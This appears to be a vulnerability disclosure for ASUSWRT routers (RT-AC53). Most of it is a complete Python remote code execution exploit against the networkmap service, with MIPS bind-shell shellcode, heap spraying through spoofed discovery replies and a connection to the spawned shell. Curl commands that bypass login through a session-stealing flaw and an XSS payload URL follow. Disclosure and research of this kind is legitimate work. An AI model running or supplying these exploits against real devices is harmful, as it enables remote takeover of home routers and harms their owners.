22 admin 0 SW [mtdblock5]
23 admin 0 SW [kworker/u:1]
30 admin 0 SW [kworker/0:1]
41 admin 660 S hotplug2 --persistent --no-coldplug
76 admin 3924 S console
78 admin 1276 S /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
80 admin 1276 S /sbin/klogd -c 5
82 admin 1292 S /bin/sh
115 admin 0 SW [RtmpCmdQTask]
116 admin 0 SW [RtmpWscTask]
135 admin 0 SW [RtmpCmdQTask]
136 admin 0 SW [RtmpWscTask]
164 admin 3932 S /sbin/wanduck
168 admin 1128 S dropbear -p 192.168.1.1:22 -a
175 admin 3932 S wpsaide
189 nobody 1056 S dnsmasq --log-async
194 admin 2588 S avahi-daemon: running [RT-AC53-B8F4.local]
196 admin 4112 S httpd -i br0
197 admin 1068 S /usr/sbin/infosvr br0
199 admin 3932 S watchdog
201 admin 2180 S rstats
210 admin 1160 S lld2d br0
211 admin 3932 S ots
224 admin 800 S miniupnpd -f /etc/upnp/config
229 admin 1284 S /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
302 admin 1152 S dropbear -p 192.168.1.1:22 -a
303 admin 1300 S -sh
344 admin 1128 S networkmap
359 admin 1280 R ps
# uname -a
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
Memory Map:
networkmap’s memory map is analyzed to continue exploiting the device.
# cat /proc/$(pidof networkmap)/maps
00400000-0040b000 r-xp 00000000 1f:04 270 /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:04 270 /usr/sbin/networkmap
0041b000-0041f000 rwxp 00000000 00:00 0 [heap]
2b893000-2b894000 rw-p 00000000 00:00 0
2b894000-2b89a000 r-xp 00000000 1f:04 828 /lib/ld-uClibc.so.0
2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted)
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted)
2b8a9000-2b8aa000 r--p 00005000 1f:04 828 /lib/ld-uClibc.so.0
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828 /lib/ld-uClibc.so.0
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258 /usr/lib/libshared.so
2b8d9000-2b8e8000 ---p 00000000 00:00 0
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258 /usr/lib/libshared.so
2b8eb000-2b8ed000 rw-p 00000000 00:00 0
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235 /usr/lib/libnvram.so
2b8ef000-2b8ff000 ---p 00000000 00:00 0
2b8ff000-2b900000 rw-p 00002000 1f:04 235 /usr/lib/libnvram.so
2b900000-2b90e000 r-xp 00000000 1f:04 760 /lib/libgcc_s.so.1
2b90e000-2b91e000 ---p 00000000 00:00 0
2b91e000-2b91f000 rw-p 0000e000 1f:04 760 /lib/libgcc_s.so.1
2b91f000-2b95a000 r-xp 00000000 1f:04 827 /lib/libc.so.0
2b95a000-2b96a000 ---p 00000000 00:00 0
2b96a000-2b96b000 rw-p 0003b000 1f:04 827 /lib/libc.so.0
2b96b000-2b96f000 rw-p 00000000 00:00 0
2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram
7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
Observations:
Partial ASLR is activated:
Stack address is randomized
Library addresses are randomized
Program address is not randomized
Heap address is not randomized
There is no Stack-Protector
Both heap and stack are mapped executable
The binary contains almost no gadgets suitable for building a ROP chain
Exploit:
The final exploit consists of the following steps:
Starting a webserver serving shellcode
Listening for multicast UDP messages send by the router
Database clearing / crashing: to make the heap layout predictable
Randomizing MAC address
Send message: jump to gadget that deletes networkmap’s database and crashes
networkmap will be restarted
Spraying heap 1, 2:
Randomizing MAC address
Send message: containing the webserver’s IP+port
networkmap will receive shellcode and store it on the heap
Starting payload
Randomize MAC address
Send message: jump to heap address containing the shellcode
Connect to opened shell
For further details check out the full exploit: networkmap-pwn.py (https://bierbaumer.net/networkmap-pwn.py)
Example:
# ./networkmap-pwn.py
[-] starting webserver
[-] received SSP discovery
[-] clearing database and crashing
[-] received SSP discovery
[-] spraying heap 1/2
[-] got shellcode request
[-] sending shellcode
[-] received SSP discovery
[-] spraying heap 2/2
[-] received SSP discovery
[-] starting payload
[-] try to connect to shell
[-] try to connect to shell
[+] connected
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
[+] pwned
---networkmap-pwn.py---
#!/usr/bin/env python3
# ASUSWRT networkmap Remote Code Execution
# Author: Bruno Bierbaumer
# Date: 24/02/2017
# Tested version:
# RT-AC53 (3.0.0.4.380.6038)
# CVE: TODO
# Description:
# networkmap contains a stack-based buffer overflow which can be exploited to run arbitrary code.
ROUTER_IP = '192.168.1.1'
IP = '192.168.1.2'
INTERACE = 'enp0s31f6'
"""
Shellcode adjusted from https://www.exploit-db.com/exploits/13298/
"""
sc = b"\x41\x41\x04\x28" *1400 # nops
#alarm handling
sc += b"\xff\xff\x04\x28" # a0 <- 0 */
sc += b"\xbb\x0f\x02\x24" # li v0,4027 ( __alarm ) */
sc += b"\x0c\x01\x01\x01" # syscall
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
#/alarm
sc += b"\xe0\xff\xbd\x27" # addiu sp,sp,-32 */
sc += b"\xfd\xff\x0e\x24" # li t6,-3 */
sc += b"\x27\x20\xc0\x01" # nor a0,t6,zero */
sc += b"\x27\x28\xc0\x01" # nor a1,t6,zero */
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
sc += b"\x57\x10\x02\x24" # li v0,4183 ( __NR_socket ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */
sc += b"\xef\xff\x0e\x24" # li t6,-17 */
sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */
sc += b"\x13\x37\x0d\x24" # li t5,0x3713 (port 0x1337) */
sc += b"\x04\x68\xcd\x01" # sllv t5,t5,t6 */
sc += b"\xff\xfd\x0e\x24" # li t6,-513 */
sc += b"\x27\x70\xc0\x01" # nor t6,t6,zero */
sc += b"\x25\x68\xae\x01" # or t5,t5,t6 */
sc += b"\xe0\xff\xad\xaf" # sw t5,-32(sp) */
sc += b"\xe4\xff\xa0\xaf" # sw zero,-28(sp) */
sc += b"\xe8\xff\xa0\xaf" # sw zero,-24(sp) */
sc += b"\xec\xff\xa0\xaf" # sw zero,-20(sp) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xef\xff\x0e\x24" # li t6,-17 */
sc += b"\x27\x30\xc0\x01" # nor a2,t6,zero */
sc += b"\xe0\xff\xa5\x23" # addi a1,sp,-32 */
sc += b"\x49\x10\x02\x24" # li v0,4169 ( __NR_bind ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\x01\x01\x05\x24" # li a1,257 */
sc += b"\x4e\x10\x02\x24" # li v0,4174 ( __NR_listen ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
sc += b"\x48\x10\x02\x24" # li v0,4168 ( __NR_accept ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\xff\xff\x50\x30" # andi s0,v0,0xffff */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xfd\xff\x0f\x24" # li t7,-3 */
sc += b"\x27\x28\xe0\x01" # nor a1,t7,zero */
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\x01\x01\x05\x28" # slti a1,zero,0x0101 */
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x25\x20\x10\x02" # or a0,s0,s0 */
sc += b"\xff\xff\x05\x28" # slti a1,zero,-1 */
sc += b"\xdf\x0f\x02\x24" # li v0,4063 ( __NR_dup2 ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\x50\x73\x06\x24" # li a2,0x7350 */
sc += b"\xff\xff\xd0\x04" # LB: bltzal a2,LB */
sc += b"\x50\x73\x0f\x24" # li t7,0x7350 (nop) */
sc += b"\xff\xff\x06\x28" # slti a2,zero,-1 */
sc += b"\xdb\xff\x0f\x24" # li t7,-37 */
sc += b"\x27\x78\xe0\x01" # nor t7,t7,zero */
sc += b"\x21\x20\xef\x03" # addu a0,ra,t7 */
sc += b"\xf0\xff\xa4\xaf" # sw a0,-16(sp) */
sc += b"\xf4\xff\xa0\xaf" # sw zero,-12(sp) */
sc += b"\xf0\xff\xa5\x23" # addi a1,sp,-16 */
sc += b"\xab\x0f\x02\x24" # li v0,4011 ( __NR_execve ) */
sc += b"\x0c\x01\x01\x01" # syscall */
sc += b"/bin/sh";
import time
import struct
import socket
import sys
import os
import threading
import socketserver
import telnetlib
# randomize mac address
def mac():
os.system('macchanger -A {} > /dev/null'.format(INTERACE))
# setup interface
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {}'.format(INTERACE, INTERACE, IP, ROUTER_IP))
# setup minimal webserver for delivering the shellcode
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
print('[-] got shellcode request')
self.request.recv(1024)
print("[-] sending shellcode")
self.request.send(sc)
class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
print('[-] starting webserver')
socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()
# start multicast receiver
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 1900))
group_bin = socket.inet_pton(addrinfo[0], addrinfo[4][0])
mreq = group_bin + struct.pack('=I', socket.INADDR_ANY)
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
mac()
state = 'clean'
while True:
data, sender = s.recvfrom(1500)
if sender[0] == ROUTER_IP and sender[1] == 1008:
print("[-] received SSP discovery")
data = {}
data['clean'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b'CCCC'*11 + b'\xfc\x8c\x40/' +b'\r\n\r\n'
data['pwn'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + b"AAAA"*11 + b'\x04\xd5\x41/' +b'\r\n\r\n'
data['heap'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode()+ b':1337/A\r\n\r\n'
data['heap2']= data['heap']
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(data[state], sender)
if state == 'pwn':
print("[-] starting payload")
while True:
try:
print("[-] try to connect to shell")
telnet = telnetlib.Telnet()
telnet.open('192.168.1.1', 0x1337, timeout=1)
print('[+] connected')
telnet.write(b'uname -a; echo [+] pwned\n')
telnet.interact()
except:
pass
time.sleep(2.0)
if state == 'heap2':
print("[-] spraying heap 2/2")
mac()
state = 'pwn'
if state == 'heap':
print("[-] spraying heap 1/2")
mac()
state = 'heap2'
if state == 'clean':
print('[-] clearing database and crashing')
mac()
state = 'heap'
---EOF---
Session Stealing
Component: httpd
CVE: CVE-2017-6549
Vulnerability:
httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.
asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
{
asus_token_t *ptr = head;
asus_token_t *tmp = NULL;
int found = 0;
char *cp = NULL;
while(ptr != NULL)
{
if(!strncmp(token, ptr->token, 32)) {
found = 1;
break;
}
else if(strncmp(token, "cgi_logout", 10) == 0) {
cp = strtok(ptr->useragent, "-");
if(strcmp(cp, "asusrouter") != 0) {
found = 1;
break;
}
}
else {
tmp = ptr;
ptr = ptr->next;
}
}
if(found == 1) {
if(prev)
*prev = tmp;
return ptr;
}
else {
return NULL;
}
}
If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.
PoC:
# read syslog
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt
#reboot router
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
It’s possible to execute arbitrary commands on the router if any admin session is currently active.
Cross-Site Scripting (XSS)
Component: httpd
CVE: CVE-2017-6547
Vulnerability:
httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.
...
if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
{
char inviteCode[256];
snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
send_page( 200, "OK", (char*) 0, inviteCode, 0);
...
PoC:
http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A